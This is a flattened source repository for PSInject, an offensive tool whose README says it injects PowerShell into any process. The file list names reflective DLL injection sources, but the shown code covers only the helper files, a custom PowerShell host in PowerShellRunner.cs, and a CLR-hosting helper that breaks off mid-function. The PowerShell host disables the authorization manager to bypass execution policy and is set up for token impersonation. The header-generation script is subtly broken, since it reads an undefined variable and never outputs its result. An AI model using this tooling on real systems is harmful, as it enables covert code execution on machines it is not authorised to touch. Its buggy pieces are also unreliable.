├── .gitignore ├── Invoke-PSInject.ps1 ├── LICENSE ├── New-PowerShellRunnerHeader.ps1 ├── PSInject.sln ├── PowerShellRunner ├── PowerShellRunner.cs ├── PowerShellRunner.csproj └── Properties │ └── AssemblyInfo.cs ├── README.md └── UnmanagedPowerShell ├── ClrHostingHelpers.cpp ├── ClrHostingHelpers.h ├── PowerShellRunnerDll - Copy.h ├── PowerShellRunnerDll.h ├── ReadMe.txt ├── ReflectiveDLLInjection.h ├── ReflectiveDll.cpp ├── ReflectiveLoader.cpp ├── ReflectiveLoader.h ├── UnmanagedPowerShell.cpp ├── UnmanagedPowerShell.h ├── UnmanagedPowerShell.vcxproj ├── UnmanagedPowerShell.vcxproj.filters ├── stdafx.cpp ├── stdafx.h └── targetver.h /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | 4 | # User-specific files 5 | *.suo 6 | *.user 7 | *.userosscache 8 | *.sln.docstates 9 | 10 | # User-specific files (MonoDevelop/Xamarin Studio) 11 | *.userprefs 12 | 13 | # Build results 14 | [Dd]ebug/ 15 | [Dd]ebugPublic/ 16 | [Rr]elease/ 17 | [Rr]eleases/ 18 | x64/ 19 | x86/ 20 | bld/ 21 | [Bb]in/ 22 | [Oo]bj/ 23 | [Ll]og/ 24 | 25 | # Visual Studio 2015 cache/options directory 26 | .vs/ 27 | # Uncomment if you have tasks that create the project's static files in wwwroot 28 | #wwwroot/ 29 | 30 | # MSTest test Results 31 | [Tt]est[Rr]esult*/ 32 | [Bb]uild[Ll]og.* 33 | 34 | # NUNIT 35 | *.VisualState.xml 36 | TestResult.xml 37 | 38 | # Build Results of an ATL Project 39 | [Dd]ebugPS/ 40 | [Rr]eleasePS/ 41 | dlldata.c 42 | 43 | # DNX 44 | project.lock.json 45 | artifacts/ 46 | 47 | *_i.c 48 | *_p.c 49 | *_i.h 50 | *.ilk 51 | *.meta 52 | *.obj 53 | *.pch 54 | *.pdb 55 | *.pgc 56 | *.pgd 57 | *.rsp 58 | *.sbr 59 | *.tlb 60 | *.tli 61 | *.tlh 62 | *.tmp 63 | *.tmp_proj 64 | *.log 65 | *.vspscc 66 | *.vssscc 67 | .builds 68 | *.pidb 69 | *.svclog 70 | *.scc 71 | 72 | # Chutzpah Test files 73 | _Chutzpah* 74 | 75 | # Visual C++ cache files 76 | ipch/ 77 | *.aps 78 | *.ncb 79 | *.opendb 80 | *.opensdf 81 | *.sdf 82 | *.cachefile 83 | *.VC.db 84 | *.VC.VC.opendb 85 | 86 | # Visual Studio profiler 87 | *.psess 88 | *.vsp 89 | *.vspx 90 | *.sap 91 | 92 | # TFS 2012 Local Workspace 93 | $tf/ 94 | 95 | # Guidance Automation Toolkit 96 | *.gpState 97 | 98 | # ReSharper is a .NET coding add-in 99 | _ReSharper*/ 100 | *.[Rr]e[Ss]harper 101 | *.DotSettings.user 102 | 103 | # JustCode is a .NET coding add-in 104 | .JustCode 105 | 106 | # TeamCity is a build add-in 107 | _TeamCity* 108 | 109 | # DotCover is a Code Coverage Tool 110 | *.dotCover 111 | 112 | # NCrunch 113 | _NCrunch_* 114 | .*crunch*.local.xml 115 | nCrunchTemp_* 116 | 117 | # MightyMoose 118 | *.mm.* 119 | AutoTest.Net/ 120 | 121 | # Web workbench (sass) 122 | .sass-cache/ 123 | 124 | # Installshield output folder 125 | [Ee]xpress/ 126 | 127 | # DocProject is a documentation generator add-in 128 | DocProject/buildhelp/ 129 | DocProject/Help/*.HxT 130 | DocProject/Help/*.HxC 131 | DocProject/Help/*.hhc 132 | DocProject/Help/*.hhk 133 | DocProject/Help/*.hhp 134 | DocProject/Help/Html2 135 | DocProject/Help/html 136 | 137 | # Click-Once directory 138 | publish/ 139 | 140 | # Publish Web Output 141 | *.[Pp]ublish.xml 142 | *.azurePubxml 143 | # TODO: Comment the next line if you want to checkin your web deploy settings 144 | # but database connection strings (with potential passwords) will be unencrypted 145 | *.pubxml 146 | *.publishproj 147 | 148 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 149 | # checkin your Azure Web App publish settings, but sensitive information contained 150 | # in these scripts will be unencrypted 151 | PublishScripts/ 152 | 153 | # NuGet Packages 154 | *.nupkg 155 | # The packages folder can be ignored because of Package Restore 156 | **/packages/* 157 | # except build/, which is used as an MSBuild target. 158 | !**/packages/build/ 159 | # Uncomment if necessary however generally it will be regenerated when needed 160 | #!**/packages/repositories.config 161 | # NuGet v3's project.json files produces more ignoreable files 162 | *.nuget.props 163 | *.nuget.targets 164 | 165 | # Microsoft Azure Build Output 166 | csx/ 167 | *.build.csdef 168 | 169 | # Microsoft Azure Emulator 170 | ecf/ 171 | rcf/ 172 | 173 | # Windows Store app package directories and files 174 | AppPackages/ 175 | BundleArtifacts/ 176 | Package.StoreAssociation.xml 177 | _pkginfo.txt 178 | 179 | # Visual Studio cache files 180 | # files ending in .cache can be ignored 181 | *.[Cc]ache 182 | # but keep track of directories ending in .cache 183 | !*.[Cc]ache/ 184 | 185 | # Others 186 | ClientBin/ 187 | ~$* 188 | *~ 189 | *.dbmdl 190 | *.dbproj.schemaview 191 | *.pfx 192 | *.publishsettings 193 | node_modules/ 194 | orleans.codegen.cs 195 | 196 | # Since there are multiple workflows, uncomment next line to ignore bower_components 197 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 198 | #bower_components/ 199 | 200 | # RIA/Silverlight projects 201 | Generated_Code/ 202 | 203 | # Backup & report files from converting an old project file 204 | # to a newer Visual Studio version. Backup files are not needed, 205 | # because we have git ;-) 206 | _UpgradeReport_Files/ 207 | Backup*/ 208 | UpgradeLog*.XML 209 | UpgradeLog*.htm 210 | 211 | # SQL Server files 212 | *.mdf 213 | *.ldf 214 | 215 | # Business Intelligence projects 216 | *.rdl.data 217 | *.bim.layout 218 | *.bim_*.settings 219 | 220 | # Microsoft Fakes 221 | FakesAssemblies/ 222 | 223 | # GhostDoc plugin setting file 224 | *.GhostDoc.xml 225 | 226 | # Node.js Tools for Visual Studio 227 | .ntvs_analysis.dat 228 | 229 | # Visual Studio 6 build log 230 | *.plg 231 | 232 | # Visual Studio 6 workspace options file 233 | *.opt 234 | 235 | # Visual Studio LightSwitch build output 236 | **/*.HTMLClient/GeneratedArtifacts 237 | **/*.DesktopClient/GeneratedArtifacts 238 | **/*.DesktopClient/ModelManifest.xml 239 | **/*.Server/GeneratedArtifacts 240 | **/*.Server/ModelManifest.xml 241 | _Pvt_Extensions 242 | 243 | # Paket dependency manager 244 | .paket/paket.exe 245 | paket-files/ 246 | 247 | # FAKE - F# Make 248 | .fake/ 249 | 250 | # JetBrains Rider 251 | .idea/ 252 | *.sln.iml 253 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2017, Lee Christensen(@tifkin_), Justin Warner(@sixdub) 2 | 3 | All rights reserved. 4 | 5 | Redistribution and use in source and binary forms, with or without 6 | modification, are permitted provided that the following conditions are met: 7 | 8 | * Redistributions of source code must retain the above copyright notice, this 9 | list of conditions and the following disclaimer. 10 | 11 | * Redistributions in binary form must reproduce the above copyright notice, 12 | this list of conditions and the following disclaimer in the documentation 13 | and/or other materials provided with the distribution. 14 | 15 | * Neither the name of UnmanagedPowerShell nor the names of its 16 | contributors may be used to endorse or promote products derived from 17 | this software without specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 29 | -------------------------------------------------------------------------------- /New-PowerShellRunnerHeader.ps1: -------------------------------------------------------------------------------- 1 | function New-PowerShellRunnerHeader 2 | { 3 | [CmdletBinding()] 4 | [OutputType([string])] 5 | Param 6 | ( 7 | [Parameter(Mandatory=$true, 8 | ValueFromPipelineByPropertyName=$true, 9 | Position=0)] 10 | $AssemblyPath 11 | ) 12 | 13 | $Bytes = Get-Content -Raw -Encoding Byte $Path 14 | $OutputStr = New-Object System.Text.StringBuilder 15 | 16 | $Counter = 1 17 | foreach($Byte in $Bytes) { 18 | $null = $OutputStr.Append("0x$('{0:X2}' -f $Byte),") 19 | 20 | if($Counter % 12 -eq 0) { 21 | $null = $OutputStr.AppendLine() 22 | $null = $OutputStr.Append("`t") 23 | } 24 | $Counter++ 25 | } 26 | 27 | $null = $OutputStr.Remove($OutputStr.Length-1,1) 28 | 29 | $Source = @" 30 | #ifndef POWERSHELLRUNNERDLL_H_ 31 | #define POWERSHELLRUNNERDLL_H_ 32 | 33 | static const unsigned char PowerShellRunner_dll[] = { 34 | $($OutputStr.ToString()) 35 | }; 36 | 37 | static const unsigned int PowerShellRunner_dll_len = $($Bytes.Length); 38 | 39 | #endif 40 | "@ 41 | } -------------------------------------------------------------------------------- /PSInject.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.24720.0 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UnmanagedPowerShell", "UnmanagedPowerShell\UnmanagedPowerShell.vcxproj", "{6EB55FE6-C11C-453B-8B32-22B689B6B3E2}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PowerShellRunner", "PowerShellRunner\PowerShellRunner.csproj", "{5A9955E4-62B7-419D-AB73-01A6D7DD27FC}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|x64 = Debug|x64 13 | Debug|x86 = Debug|x86 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {6EB55FE6-C11C-453B-8B32-22B689B6B3E2}.Debug|x64.ActiveCfg = Debug|x64 19 | {6EB55FE6-C11C-453B-8B32-22B689B6B3E2}.Debug|x64.Build.0 = Debug|x64 20 | {6EB55FE6-C11C-453B-8B32-22B689B6B3E2}.Debug|x86.ActiveCfg = Debug|Win32 21 | {6EB55FE6-C11C-453B-8B32-22B689B6B3E2}.Debug|x86.Build.0 = Debug|Win32 22 | {6EB55FE6-C11C-453B-8B32-22B689B6B3E2}.Release|x64.ActiveCfg = Release|x64 23 | {6EB55FE6-C11C-453B-8B32-22B689B6B3E2}.Release|x64.Build.0 = Release|x64 24 | {6EB55FE6-C11C-453B-8B32-22B689B6B3E2}.Release|x86.ActiveCfg = Release|Win32 25 | {6EB55FE6-C11C-453B-8B32-22B689B6B3E2}.Release|x86.Build.0 = Release|Win32 26 | {5A9955E4-62B7-419D-AB73-01A6D7DD27FC}.Debug|x64.ActiveCfg = Debug|x64 27 | {5A9955E4-62B7-419D-AB73-01A6D7DD27FC}.Debug|x64.Build.0 = Debug|x64 28 | {5A9955E4-62B7-419D-AB73-01A6D7DD27FC}.Debug|x86.ActiveCfg = Debug|x86 29 | {5A9955E4-62B7-419D-AB73-01A6D7DD27FC}.Debug|x86.Build.0 = Debug|x86 30 | {5A9955E4-62B7-419D-AB73-01A6D7DD27FC}.Release|x64.ActiveCfg = Release|x64 31 | {5A9955E4-62B7-419D-AB73-01A6D7DD27FC}.Release|x64.Build.0 = Release|x64 32 | {5A9955E4-62B7-419D-AB73-01A6D7DD27FC}.Release|x86.ActiveCfg = Release|x86 33 | {5A9955E4-62B7-419D-AB73-01A6D7DD27FC}.Release|x86.Build.0 = Release|x86 34 | EndGlobalSection 35 | GlobalSection(SolutionProperties) = preSolution 36 | HideSolutionNode = FALSE 37 | EndGlobalSection 38 | EndGlobal 39 | -------------------------------------------------------------------------------- /PowerShellRunner/PowerShellRunner.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | using System.Threading; 5 | using System.Management.Automation; 6 | using System.Globalization; 7 | using System.Management.Automation.Host; 8 | using System.Management.Automation.Runspaces; 9 | 10 | namespace PowerShellRunner 11 | { 12 | public class PowerShellRunner 13 | { 14 | public static string InvokePS(string command) 15 | { 16 | // I had to implement a custom PSHost in order to get Write-Host to work. 17 | // This wouldn't be an issue if all PowerShell scripts used Write-Output 18 | // instead of Write-Host, but enough use Write-Host that it's worth it 19 | // to implement a custom PSHost 20 | CustomPSHost host = new CustomPSHost(); 21 | 22 | var state = InitialSessionState.CreateDefault(); 23 | state.ApartmentState = ApartmentState.STA; // STA so we can do fun stuff like token impersonation easier 24 | state.AuthorizationManager = null; // Bypass PowerShell execution policy 25 | 26 | using (Runspace runspace = RunspaceFactory.CreateRunspace(host, state)) 27 | { 28 | runspace.Open(); 29 | 30 | using (Pipeline pipeline = runspace.CreatePipeline()) 31 | { 32 | pipeline.Commands.AddScript(command); 33 | pipeline.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); 34 | pipeline.Commands.Add("out-default"); 35 | 36 | pipeline.Invoke(); 37 | } 38 | } 39 | 40 | string output = ((CustomPSHostUserInterface)host.UI).Output; 41 | 42 | return output; 43 | } 44 | 45 | class CustomPSHost : PSHost 46 | { 47 | private Guid _hostId = Guid.NewGuid(); 48 | private CustomPSHostUserInterface _ui = new CustomPSHostUserInterface(); 49 | 50 | public override Guid InstanceId 51 | { 52 | get { return _hostId; } 53 | } 54 | 55 | public override string Name 56 | { 57 | get { return "ConsoleHost"; } 58 | } 59 | 60 | public override Version Version 61 | { 62 | get { return new Version(1, 0); } 63 | } 64 | 65 | public override PSHostUserInterface UI 66 | { 67 | get { return _ui; } 68 | } 69 | 70 | 71 | public override CultureInfo CurrentCulture 72 | { 73 | get { return Thread.CurrentThread.CurrentCulture; } 74 | } 75 | 76 | public override CultureInfo CurrentUICulture 77 | { 78 | get { return Thread.CurrentThread.CurrentUICulture; } 79 | } 80 | 81 | public override void EnterNestedPrompt() 82 | { 83 | throw new NotImplementedException("EnterNestedPrompt is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); 84 | } 85 | 86 | public override void ExitNestedPrompt() 87 | { 88 | throw new NotImplementedException("ExitNestedPrompt is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); 89 | } 90 | 91 | public override void NotifyBeginApplication() 92 | { 93 | return; 94 | } 95 | 96 | public override void NotifyEndApplication() 97 | { 98 | return; 99 | } 100 | 101 | public override void SetShouldExit(int exitCode) 102 | { 103 | return; 104 | } 105 | } 106 | 107 | class CustomPSHostUserInterface : PSHostUserInterface 108 | { 109 | // Replace StringBuilder with whatever your preferred output method is (e.g. a socket or a named pipe) 110 | private StringBuilder _sb; 111 | private CustomPSRHostRawUserInterface _rawUi = new CustomPSRHostRawUserInterface(); 112 | 113 | public CustomPSHostUserInterface() 114 | { 115 | _sb = new StringBuilder(); 116 | } 117 | 118 | public override void Write(ConsoleColor foregroundColor, ConsoleColor backgroundColor, string value) 119 | { 120 | _sb.Append(value); 121 | } 122 | 123 | public override void WriteLine() 124 | { 125 | _sb.Append("\n"); 126 | } 127 | 128 | public override void WriteLine(ConsoleColor foregroundColor, ConsoleColor backgroundColor, string value) 129 | { 130 | _sb.Append(value + "\n"); 131 | } 132 | 133 | public override void Write(string value) 134 | { 135 | _sb.Append(value); 136 | } 137 | 138 | public override void WriteDebugLine(string message) 139 | { 140 | _sb.AppendLine("DEBUG: " + message); 141 | } 142 | 143 | public override void WriteErrorLine(string value) 144 | { 145 | _sb.AppendLine("ERROR: " + value); 146 | } 147 | 148 | public override void WriteLine(string value) 149 | { 150 | _sb.AppendLine(value); 151 | } 152 | 153 | public override void WriteVerboseLine(string message) 154 | { 155 | _sb.AppendLine("VERBOSE: " + message); 156 | } 157 | 158 | public override void WriteWarningLine(string message) 159 | { 160 | _sb.AppendLine("WARNING: " + message); 161 | } 162 | 163 | public override void WriteProgress(long sourceId, ProgressRecord record) 164 | { 165 | return; 166 | } 167 | 168 | public string Output 169 | { 170 | get { return _sb.ToString(); } 171 | } 172 | 173 | public override Dictionary Prompt(string caption, string message, System.Collections.ObjectModel.Collection descriptions) 174 | { 175 | throw new NotImplementedException("Prompt is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); 176 | } 177 | 178 | public override int PromptForChoice(string caption, string message, System.Collections.ObjectModel.Collection choices, int defaultChoice) 179 | { 180 | throw new NotImplementedException("PromptForChoice is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); 181 | } 182 | 183 | public override PSCredential PromptForCredential(string caption, string message, string userName, string targetName, PSCredentialTypes allowedCredentialTypes, PSCredentialUIOptions options) 184 | { 185 | throw new NotImplementedException("PromptForCredential1 is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); 186 | } 187 | 188 | public override PSCredential PromptForCredential(string caption, string message, string userName, string targetName) 189 | { 190 | throw new NotImplementedException("PromptForCredential2 is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); 191 | } 192 | 193 | public override PSHostRawUserInterface RawUI 194 | { 195 | get { return _rawUi; } 196 | } 197 | 198 | public override string ReadLine() 199 | { 200 | throw new NotImplementedException("ReadLine is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); 201 | } 202 | 203 | public override System.Security.SecureString ReadLineAsSecureString() 204 | { 205 | throw new NotImplementedException("ReadLineAsSecureString is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); 206 | } 207 | } 208 | 209 | 210 | class CustomPSRHostRawUserInterface : PSHostRawUserInterface 211 | { 212 | // Warning: Setting _outputWindowSize too high will cause OutOfMemory execeptions. I assume this will happen with other properties as well 213 | private Size _windowSize = new Size { Width = 120, Height = 100 }; 214 | 215 | private Coordinates _cursorPosition = new Coordinates { X = 0, Y = 0 }; 216 | 217 | private int _cursorSize = 1; 218 | private ConsoleColor _foregroundColor = ConsoleColor.White; 219 | private ConsoleColor _backgroundColor = ConsoleColor.Black; 220 | 221 | private Size _maxPhysicalWindowSize = new Size 222 | { 223 | Width = int.MaxValue, 224 | Height = int.MaxValue 225 | }; 226 | 227 | private Size _maxWindowSize = new Size { Width = 100, Height = 100 }; 228 | private Size _bufferSize = new Size { Width = 100, Height = 1000 }; 229 | private Coordinates _windowPosition = new Coordinates { X = 0, Y = 0 }; 230 | private String _windowTitle = ""; 231 | 232 | public override ConsoleColor BackgroundColor 233 | { 234 | get { return _backgroundColor; } 235 | set { _backgroundColor = value; } 236 | } 237 | 238 | public override Size BufferSize 239 | { 240 | get { return _bufferSize; } 241 | set { _bufferSize = value; } 242 | } 243 | 244 | public override Coordinates CursorPosition 245 | { 246 | get { return _cursorPosition; } 247 | set { _cursorPosition = value; } 248 | } 249 | 250 | public override int CursorSize 251 | { 252 | get { return _cursorSize; } 253 | set { _cursorSize = value; } 254 | } 255 | 256 | public override void FlushInputBuffer() 257 | { 258 | throw new NotImplementedException("FlushInputBuffer is not implemented."); 259 | } 260 | 261 | public override ConsoleColor ForegroundColor 262 | { 263 | get { return _foregroundColor; } 264 | set { _foregroundColor = value; } 265 | } 266 | 267 | public override BufferCell[,] GetBufferContents(Rectangle rectangle) 268 | { 269 | throw new NotImplementedException("GetBufferContents is not implemented."); 270 | } 271 | 272 | public override bool KeyAvailable 273 | { 274 | get { throw new NotImplementedException("KeyAvailable is not implemented."); } 275 | } 276 | 277 | public override Size MaxPhysicalWindowSize 278 | { 279 | get { return _maxPhysicalWindowSize; } 280 | } 281 | 282 | public override Size MaxWindowSize 283 | { 284 | get { return _maxWindowSize; } 285 | } 286 | 287 | public override KeyInfo ReadKey(ReadKeyOptions options) 288 | { 289 | throw new NotImplementedException("ReadKey is not implemented. The script is asking for input, which is a problem since there's no console. Make sure the script can execute without prompting the user for input."); 290 | } 291 | 292 | public override void ScrollBufferContents(Rectangle source, Coordinates destination, Rectangle clip, BufferCell fill) 293 | { 294 | throw new NotImplementedException("ScrollBufferContents is not implemented"); 295 | } 296 | 297 | public override void SetBufferContents(Rectangle rectangle, BufferCell fill) 298 | { 299 | throw new NotImplementedException("SetBufferContents is not implemented."); 300 | } 301 | 302 | public override void SetBufferContents(Coordinates origin, BufferCell[,] contents) 303 | { 304 | throw new NotImplementedException("SetBufferContents is not implemented"); 305 | } 306 | 307 | public override Coordinates WindowPosition 308 | { 309 | get { return _windowPosition; } 310 | set { _windowPosition = value; } 311 | } 312 | 313 | public override Size WindowSize 314 | { 315 | get { return _windowSize; } 316 | set { _windowSize = value; } 317 | } 318 | 319 | public override string WindowTitle 320 | { 321 | get { return _windowTitle; } 322 | set { _windowTitle = value; } 323 | } 324 | } 325 | 326 | } 327 | } 328 | -------------------------------------------------------------------------------- /PowerShellRunner/PowerShellRunner.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {5A9955E4-62B7-419D-AB73-01A6D7DD27FC} 8 | Library 9 | Properties 10 | PowerShellRunner 11 | PowerShellRunner 12 | v2.0 13 | 512 14 | 15 | 16 | true 17 | full 18 | false 19 | bin\Debug\ 20 | DEBUG;TRACE 21 | prompt 22 | 4 23 | 24 | 25 | none 26 | true 27 | bin\Release\ 28 | TRACE 29 | prompt 30 | 4 31 | 32 | 33 | true 34 | bin\x64\Debug\ 35 | DEBUG;TRACE 36 | full 37 | x64 38 | prompt 39 | MinimumRecommendedRules.ruleset 40 | 41 | 42 | bin\x64\Release\ 43 | TRACE 44 | true 45 | none 46 | x64 47 | prompt 48 | MinimumRecommendedRules.ruleset 49 | 50 | 51 | true 52 | bin\x86\Debug\ 53 | DEBUG;TRACE 54 | full 55 | x86 56 | prompt 57 | MinimumRecommendedRules.ruleset 58 | 59 | 60 | bin\x86\Release\ 61 | TRACE 62 | true 63 | none 64 | x86 65 | prompt 66 | MinimumRecommendedRules.ruleset 67 | 4 68 | true 69 | 70 | 71 | 72 | 73 | False 74 | .\System.Management.Automation.dll 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 89 | -------------------------------------------------------------------------------- /PowerShellRunner/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("PowerShellRunner")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("PowerShellRunner")] 13 | [assembly: AssemblyCopyright("Copyright © 2014")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("dfc4eebb-7384-4db5-9bad-257203029bd9")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | PSInject 2 | =================== 3 | 4 | Injects PowerShell into any process. Based off of the work of Lee Christensen's (@tifkin_) [UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) project. 5 | 6 | Developed by Lee Christensen (@tifkin_) and Justin Warner (@sixdub) -------------------------------------------------------------------------------- /UnmanagedPowerShell/ClrHostingHelpers.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include "ClrHostingHelpers.h" 3 | 4 | /****************************************************************** 5 | Function Name: GetProcessorArchitectureFlag 6 | Description: Determine the processor architecture of the 7 | system (x86, x64, ia64) 8 | Inputs: NONE 9 | Results: DWORD processor architecture flag 10 | 11 | Code take from https://blogs.msdn.microsoft.com/astebner/2006/08/03/updated-sample-net-framework-detection-code-that-does-more-in-depth-checking/ 12 | ******************************************************************/ 13 | DWORD GetProcessorArchitectureFlag() 14 | { 15 | HMODULE hmodKernel32 = NULL; 16 | typedef void (WINAPI *PFnGetNativeSystemInfo) (LPSYSTEM_INFO); 17 | PFnGetNativeSystemInfo pfnGetNativeSystemInfo; 18 | 19 | SYSTEM_INFO sSystemInfo; 20 | memset(&sSystemInfo, 0, sizeof(sSystemInfo)); 21 | 22 | bool bRetrievedSystemInfo = false; 23 | 24 | // Attempt to load kernel32.dll 25 | hmodKernel32 = LoadLibrary(_T("Kernel32.dll")); 26 | if (NULL != hmodKernel32) 27 | { 28 | // If the DLL loaded correctly, get the proc address for GetNativeSystemInfo 29 | pfnGetNativeSystemInfo = (PFnGetNativeSystemInfo)GetProcAddress(hmodKernel32, "GetNativeSystemInfo"); 30 | if (NULL != pfnGetNativeSystemInfo) 31 | { 32 | // Call GetNativeSystemInfo if it exists 33 | (*pfnGetNativeSystemInfo)(&sSystemInfo); 34 | bRetrievedSystemInfo = true; 35 | } 36 | FreeLibrary(hmodKernel32); 37 | } 38 | 39 | if (!bRetrievedSystemInfo) 40 | { 41 | // Fallback to calling GetSystemInfo if the above failed 42 | GetSystemInfo(&sSystemInfo); 43 | bRetrievedSystemInfo = true; 44 | } 45 | 46 | if (bRetrievedSystemInfo) 47 | { 48 | switch (sSystemInfo.wProcessorArchitecture) 49 | { 50 | case PROCESSOR_ARCHITECTURE_INTEL: 51 | return RUNTIME_INFO_REQUEST_X86; 52 | case PROCESSOR_ARCHITECTURE_IA64: 53 | return RUNTIME_INFO_REQUEST_IA64; 54 | case PROCESSOR_ARCHITECTURE_AMD64: 55 | return RUNTIME_INFO_REQUEST_AMD64; 56 | default: 57 | return 0; 58 | } 59 | } 60 | 61 | return 0; 62 | } 63 | 64 | 65 | /****************************************************************** 66 | Function Name: CheckNetfxVersionUsingMscoree 67 | Description: Uses the logic described in the sample code at 68 | http://msdn2.microsoft.com/library/ydh6b3yb.aspx 69 | to load mscoree.dll and call its APIs to determine 70 | whether or not a specific version of the .NET 71 | Framework is installed on the system 72 | Inputs: pszNetfxVersionToCheck - version to look for 73 | Results: true if the requested version is installed 74 | false otherwise 75 | 76 | Code taken from https://blogs.msdn.microsoft.com/astebner/2006/08/03/updated-sample-net-framework-detection-code-that-does-more-in-depth-checking/ 77 | ******************************************************************/ 78 | bool CheckNetfxVersionUsingMscoree(const TCHAR *pszNetfxVersionToCheck, HMODULE& hMscoree) 79 | { 80 | bool bFoundRequestedNetfxVersion = false; 81 | HRESULT hr = S_OK; 82 | 83 | // Check input parameter 84 | if (NULL == pszNetfxVersionToCheck) 85 | { 86 | return false; 87 | } 88 | 89 | if (NULL != hMscoree) 90 | { 91 | typedef HRESULT(STDAPICALLTYPE *GETCORVERSION)(LPWSTR szBuffer, DWORD cchBuffer, DWORD* dwLength); 92 | GETCORVERSION pfnGETCORVERSION = (GETCORVERSION)GetProcAddress(hMscoree, "GetCORVersion"); 93 | 94 | // Some OSs shipped with a placeholder copy of mscoree.dll. The existence of mscoree.dll 95 | // therefore does NOT mean that a version of the .NET Framework is installed. 96 | // If this copy of mscoree.dll does not have an exported function named GetCORVersion 97 | // then we know it is a placeholder DLL. 98 | if (NULL == pfnGETCORVERSION) 99 | goto Finish; 100 | 101 | typedef HRESULT(STDAPICALLTYPE *CORBINDTORUNTIME)(LPCWSTR pwszVersion, LPCWSTR pwszBuildFlavor, REFCLSID rclsid, REFIID riid, LPVOID FAR *ppv); 102 | CORBINDTORUNTIME pfnCORBINDTORUNTIME = (CORBINDTORUNTIME)GetProcAddress(hMscoree, "CorBindToRuntime"); 103 | 104 | typedef HRESULT(STDAPICALLTYPE *GETREQUESTEDRUNTIMEINFO)(LPCWSTR pExe, LPCWSTR pwszVersion, LPCWSTR pConfigurationFile, DWORD startupFlags, DWORD runtimeInfoFlags, LPWSTR pDirectory, DWORD dwDirectory, DWORD *dwDirectoryLength, LPWSTR pVersion, DWORD cchBuffer, DWORD* dwlength); 105 | GETREQUESTEDRUNTIMEINFO pfnGETREQUESTEDRUNTIMEINFO = (GETREQUESTEDRUNTIMEINFO)GetProcAddress(hMscoree, "GetRequestedRuntimeInfo"); 106 | 107 | if (NULL != pfnCORBINDTORUNTIME) 108 | { 109 | TCHAR szRetrievedVersion[50]; 110 | DWORD dwLength = CountOf(szRetrievedVersion); 111 | 112 | if (NULL == 